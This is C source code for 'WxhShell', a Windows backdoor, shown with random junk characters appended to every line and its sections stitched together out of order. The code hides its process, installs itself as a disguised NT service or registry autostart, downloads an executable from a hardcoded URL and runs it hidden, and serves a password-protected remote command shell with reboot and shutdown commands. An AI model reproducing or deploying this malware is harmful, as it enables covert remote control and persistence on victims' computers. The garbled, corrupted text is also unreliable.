ULONG UniqueProcessId; 2~h! ouleY
ULONG InheritedFromUniqueProcessId; fkbHfBp[(A
} PROCESS_BASIC_INFORMATION; 1t w>C\
roSdcQTeT
PROCNTQSIP NtQueryInformationProcess; 3#<b!Yz
|`B*\\ 1
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^lud2x$O^C
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S:aAR*<6
<=[,_P6|
HANDLE hProcess; FrT.<3
PROCESS_BASIC_INFORMATION pbi; 7Ko<,Kp2b
gG*]|>M JI
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f3El9[
if(NULL == hInst ) return 0; z~f Zg6
4
;ybQ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AqnDsr!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b&BkT%aA(G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?y_W%ogW
\]uD"Jqv#
if (!NtQueryInformationProcess) return 0; #}Y$+FtO
HqC
1Dkw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s\O4D*8
if(!hProcess) return 0; -!V+>.Oh
R-QSv$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V{4=,Ax
I8~ .Vu2
CloseHandle(hProcess); g^ .g9"
a@4
Zx
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r*_z<^d
if(hProcess==NULL) return 0; G8AT]
=
#@%DY*w]v
HMODULE hMod; oHh~!#u
char procName[255]; qV]p\/a.
unsigned long cbNeeded; w(Jf;[o
oE/g)m%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rG[iEY
W;L<zFFbU)
CloseHandle(hProcess); QiO4fS'~W
^EtBo7^t
if(strstr(procName,"services")) return 1; // 以服务启动 1'Sr0
oEd3
C.]\ 4e
return 0; // 注册表启动 0ndk=V
} E3hql3=
R%Xhdcn7
// 主模块
-%f$$7
int StartWxhshell(LPSTR lpCmdLine) <e&88{jJ
{ ]cQYSN7!SY
SOCKET wsl; \G4L+Q/13
BOOL val=TRUE; A$ 2 AYQ
int port=0; 0nOkQVMk>
struct sockaddr_in door; k65V5lb
_"0,
if(wscfg.ws_autoins) Install(); KYw~(+gHv2
0c}pg:XT
port=atoi(lpCmdLine); g}@W9'!
TwfQq`
if(port<=0) port=wscfg.ws_port; !V.2~V[^M
=1ltX+
WSADATA data; }^Ymg7wA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /FJ.W<hw
:<}1as!eo
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "kb[}r4?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~?6M4!u
door.sin_family = AF_INET; ~W/|RP7S
door.sin_addr.s_addr = inet_addr("127.0.0.1"); IN^dJ^1+
door.sin_port = htons(port); zjE|UK{
v79k{<Ln
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S[zETRSG
closesocket(wsl); 2.p?gRO
return 1; n3z]&J5fr
} Z-U-n/6I
wn1` 9
if(listen(wsl,2) == INVALID_SOCKET) { qX9x#92
closesocket(wsl); L.ML0H-
return 1; ^WF/gup\hS
} Q$bi:EyJXc
Wxhshell(wsl); 1`& Yg(
WSACleanup(); JX)%iJq#
wjzR 8g0bQ
return 0; Qr.SPNUFK
Uf,fd
} KT3n-Y-,
QH5[}zs8
// 以NT服务方式启动 y|b&Rup
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w|,BTM:e
{ cM?i _m
DWORD status = 0; F=g+R~F
DWORD specificError = 0xfffffff; n9H4~[JiC
ITssBB9
serviceStatus.dwServiceType = SERVICE_WIN32; w. c]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F`Ld
WA
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D$?}M>
serviceStatus.dwWin32ExitCode = 0; [ !<
serviceStatus.dwServiceSpecificExitCode = 0; /_(q7:<ZF
serviceStatus.dwCheckPoint = 0; e)M)q!nG
serviceStatus.dwWaitHint = 0; O3JBS^;V2
>OxSrc@A
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ).$q9G
if (hServiceStatusHandle==0) return; ,&F4|{
sx^0*h-Qq
status = GetLastError(); -dyN
Ah?=
if (status!=NO_ERROR) x=I|O;"><
{ Gnthz0\]{
serviceStatus.dwCurrentState = SERVICE_STOPPED; EEJ OJ<
serviceStatus.dwCheckPoint = 0; 2kSN<jMr
serviceStatus.dwWaitHint = 0; 9aoGptgN
serviceStatus.dwWin32ExitCode = status; h_y;NB(w
serviceStatus.dwServiceSpecificExitCode = specificError; $S'~UbmYU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~PZIYG"D
return; AZH=r S`
} w D}g\{P
/idrbc
serviceStatus.dwCurrentState = SERVICE_RUNNING; *Dhy a g
serviceStatus.dwCheckPoint = 0; s(0"r.
serviceStatus.dwWaitHint = 0; Hx?OCGj=S*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yx\I&\i
} ^q}cy1"j"
zgn~UC6&
// 处理NT服务事件,比如:启动、停止 oMeIXb)z
VOID WINAPI NTServiceHandler(DWORD fdwControl) Oz1S*<]=,~
{ b haYbiX?
switch(fdwControl) U6xs'0
{ f&2f8@
case SERVICE_CONTROL_STOP: eqQ=HT7J
serviceStatus.dwWin32ExitCode = 0; _`~\zzUZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; U9t-(`[j?
serviceStatus.dwCheckPoint = 0; I&JjyR
serviceStatus.dwWaitHint = 0; &UxI62[k
{ mmvo
>F"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,!>1A;~wT
} ;)XB'
return; Hs`j6yuc9
case SERVICE_CONTROL_PAUSE: /'QfLW>6
serviceStatus.dwCurrentState = SERVICE_PAUSED; MO%kUq|pg
break; 231,v,X[
case SERVICE_CONTROL_CONTINUE: vp4NH]fJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^~DDl$NH
break; #`o]{UfW
case SERVICE_CONTROL_INTERROGATE: I3hN7
break; cVf}8qf)
}; n\w2e_g;N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YwaWhBCIF
} ^W%#Elf)
PBOZ^%k
// 标准应用程序主函数 xe@11/F
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vo`,|3^
{ [4
y7tjar^
$2/v8
// 获取操作系统版本 ,LodP%%UV
OsIsNt=GetOsVer(); krMO<(x+
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ba#wW
E
chakp!S=
// 从命令行安装 Vk:] aveW
if(strpbrk(lpCmdLine,"iI")) Install(); .8dlf7* ,
"pMx(
// 下载执行文件 hF^y4v|5
if(wscfg.ws_downexe) { 13aj fH
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LQz6op}R
WinExec(wscfg.ws_filenam,SW_HIDE); fWs @ZCt
} 'Da*MGu9
w#^z:7fI
if(!OsIsNt) { !4mg]~G
// 如果时win9x,隐藏进程并且设置为注册表启动 <! Z06
HideProc(); %3Tz%>n
StartWxhshell(lpCmdLine); ;"w?@ELE
} jxqKPMf>@%
else x%RG>),U
if(StartFromService()) uW0D m#
// 以服务方式启动 d}^G790
StartServiceCtrlDispatcher(DispatchTable); AMre(lgh
else L0X/
// 普通方式启动 %4,v2K
StartWxhshell(lpCmdLine); #5X535'ze
gZ@z}CIw'
return 0; N%Uk/ c'
} n^iq?u
6-Id{m x
k9m9IE"9=$
\'CA:9V}
=========================================== uD4j.%
n5+Z|<3)
*W-:]t3CR
brEA-xNWQ
u"gtv
A-f,&TO
" 9A,ok[J
F[)5A5+:Y
#include <stdio.h> b6UpE`\z
#include <string.h> 9Q>85IiT
#include <windows.h> F3e1&aK6{
#include <winsock2.h> @@V{W)rl
#include <winsvc.h> qO{Yr$V%
#include <urlmon.h> N4)ZPLV
sc&u NfJ
#pragma comment (lib, "Ws2_32.lib") wl /1~!
#pragma comment (lib, "urlmon.lib") %:}o\ _w
3=-V!E
#define MAX_USER 100 // 最大客户端连接数 r(KAG"5
#define BUF_SOCK 200 // sock buffer g[Q+DT
#define KEY_BUFF 255 // 输入 buffer e!=~f%c<N
<j}A=SDZ)
#define REBOOT 0 // 重启 He*c=^8k
#define SHUTDOWN 1 // 关机 $pJw
p{kN
t.Yf8Gy
#define DEF_PORT 5000 // 监听端口 (v}4,'dS
i]15g@
#define REG_LEN 16 // 注册表键长度 _=_<cgy1u
#define SVC_LEN 80 // NT服务名长度 txik{' :
Ajm4q_
// 从dll定义API 'E"W;#%
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :nS$cC0x*
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u{Gci
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2EiE5@
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $X,dQ]M
TW6F9}'f&
// wxhshell配置信息 +~$pkxD"
struct WSCFG { G^Va$ike
int ws_port; // 监听端口 Mp?L9
char ws_passstr[REG_LEN]; // 口令 GK=b
int ws_autoins; // 安装标记, 1=yes 0=no Xp[x O 0
char ws_regname[REG_LEN]; // 注册表键名 Z;y(D_;_
char ws_svcname[REG_LEN]; // 服务名 HCw,bRxm
char ws_svcdisp[SVC_LEN]; // 服务显示名 h+ <Jv
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ckYT69U
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0.[tEnLZ
int ws_downexe; // 下载执行标记, 1=yes 0=no qLV3Y?S!L
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VWK%6Ye0
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $wC'qV
*
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}; &%`WXe-`R
X?U'GLm
// default Wxhshell configuration yA#nnu1
struct WSCFG wscfg={DEF_PORT, 8a3EVc
"xuhuanlingzhe", Ka y\;fXT
1, {fJCj152.
"Wxhshell", Wv||9[Rd
"Wxhshell", &2bqL!k
"WxhShell Service", "7Z-ACyF5
"Wrsky Windows CmdShell Service", *x:*Q \|
"Please Input Your Password: ", ?I$- im
1, c2gi3
"http://www.wrsky.com/wxhshell.exe", %j@@J\G!
"Wxhshell.exe" t:"3MiM=c
}; hp`ZmLq/[
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// 消息定义模块 &z#`Qa3NI
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d ehK#8
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xe&p.v
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .C` YO2,
char *msg_ws_ext="\n\rExit."; zpjE_|
char *msg_ws_end="\n\rQuit."; ]$=#:uf
char *msg_ws_boot="\n\rReboot..."; x4K A8
char *msg_ws_poff="\n\rShutdown..."; @N]]Cf>x
char *msg_ws_down="\n\rSave to "; Lg~ll$
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char *msg_ws_err="\n\rErr!"; 5^K\<+{~B
char *msg_ws_ok="\n\rOK!"; 6Yl+IP];i
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char ExeFile[MAX_PATH]; Sm{> 8e}UE
int nUser = 0; 2 w6iqLr?
HANDLE handles[MAX_USER]; &M: